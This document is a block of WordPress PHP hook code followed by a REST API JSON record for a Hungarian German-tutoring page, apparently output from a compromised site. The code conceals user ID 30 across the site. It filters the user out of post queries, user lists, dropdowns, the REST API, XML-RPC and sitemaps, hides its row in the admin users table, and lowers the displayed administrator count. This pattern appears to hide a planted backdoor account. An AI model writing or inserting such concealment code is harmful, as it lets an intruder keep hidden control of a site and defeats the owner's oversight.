add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 30;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 30 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 30 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 30;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 30;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/30(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-30{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":6,"date":"2012-04-21T16:11:35","date_gmt":"2012-04-21T16:11:35","guid":{"rendered":"http:\/\/nemetfelkeszites.freeweb.hu\/?page_id=2"},"modified":"2023-05-23T14:45:12","modified_gmt":"2023-05-23T14:45:12","slug":"pelda-oldal","status":"publish","type":"page","link":"https:\/\/nemetfelkeszites.x3.hu\/?page_id=6","title":{"rendered":"A nyelvtanul\u00e1s menete."},"content":{"rendered":"<p>N\u00e9met nyelvvizsg\u00e1ra t\u00f6rt\u00e9n\u0151 felk\u00e9sz\u00edt\u00e9s:<br \/>\n30 \u00e9ves tapasztalattal rendelkezem a nyelvtan\u00edt\u00e1s ter\u00fclet\u00e9n. Minden koroszt\u00e1lyt tan\u00edtottam \u00e9s tiszt\u00e1ban vagyok az \u00c1ltal\u00e1nos \u00e9s a Gazdas\u00e1gi Nyelvvizsg\u00e1k k\u00f6vetelm\u00e9nyeivel.Minden nyelvvizsga t\u00edpushoz gyakorl\u00f3 anyagok sokas\u00e1ga \u00e1ll rendelkez\u00e9sre.,amelyeket m\u00f3dszertanilag egyes nyelvvizsga feladatok elm\u00e9ly\u00edt\u00e9s\u00e9n\u00e9l nagyon j\u00f3l tudom haszn\u00e1lni a di\u00e1kjaimn\u00e1l.<\/p>\n<p>Alapvet\u0151en az \u00f3r\u00e1kon a besz\u00e9dk\u00e9szs\u00e9gre helyezem a hangs\u00falyt.A besz\u00e9dk\u00e9szs\u00e9g fejleszt\u00e9se c\u00e9lj\u00e1b\u00f3l nagyon sok szitu\u00e1ci\u00f3s gyakorlatot,k\u00e9ple\u00edr\u00e1sokat,ir\u00e1ny\u00edtott,illetve k\u00f6tetlen besz\u00e9lget\u00e9seket,\u00e9rvel\u00e9seket iktatok be az \u00f3r\u00e1imon.A sz\u00f3kincs b\u0151v\u00edt\u00e9s\u00e9re is nagy hangs\u00falyt fektetek.<\/p>\n<p>Ha nincs r\u00e1 lehet\u0151s\u00e9ge, hogy szem\u00e9lyesen tanuljunk n\u00e9met\u00fcl, lehet\u0151s\u00e9get tudunk biztos\u00edtani, hogy\u00a0 t\u00e1voktat\u00e1si program keret\u00e9ben haladjon.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N\u00e9met nyelvvizsg\u00e1ra t\u00f6rt\u00e9n\u0151 felk\u00e9sz\u00edt\u00e9s: 30 \u00e9ves tapasztalattal rendelkezem a nyelvtan\u00edt\u00e1s ter\u00fclet\u00e9n. Minden koroszt\u00e1lyt tan\u00edtottam \u00e9s tiszt\u00e1ban vagyok az \u00c1ltal\u00e1nos \u00e9s a Gazdas\u00e1gi Nyelvvizsg\u00e1k k\u00f6vetelm\u00e9nyeivel.Minden nyelvvizsga t\u00edpushoz gyakorl\u00f3 anyagok sokas\u00e1ga \u00e1ll rendelkez\u00e9sre.,amelyeket m\u00f3dszertanilag egyes nyelvvizsga feladatok elm\u00e9ly\u00edt\u00e9s\u00e9n\u00e9l nagyon j\u00f3l tudom haszn\u00e1lni a di\u00e1kjaimn\u00e1l. Alapvet\u0151en az \u00f3r\u00e1kon a besz\u00e9dk\u00e9szs\u00e9gre helyezem a hangs\u00falyt.A besz\u00e9dk\u00e9szs\u00e9g fejleszt\u00e9se c\u00e9lj\u00e1b\u00f3l nagyon sok &hellip; <a href=\"https:\/\/nemetfelkeszites.x3.hu\/?page_id=6\" class=\"more-link\"><span class=\"screen-reader-text\">A nyelvtanul\u00e1s menete.<\/span> b\u0151vebben&#8230; <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"_links":{"self":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/pages\/6"}],"collection":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6"}],"version-history":[{"count":6,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/pages\/6\/revisions"}],"predecessor-version":[{"id":1669,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/pages\/6\/revisions\/1669"}],"wp:attachment":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}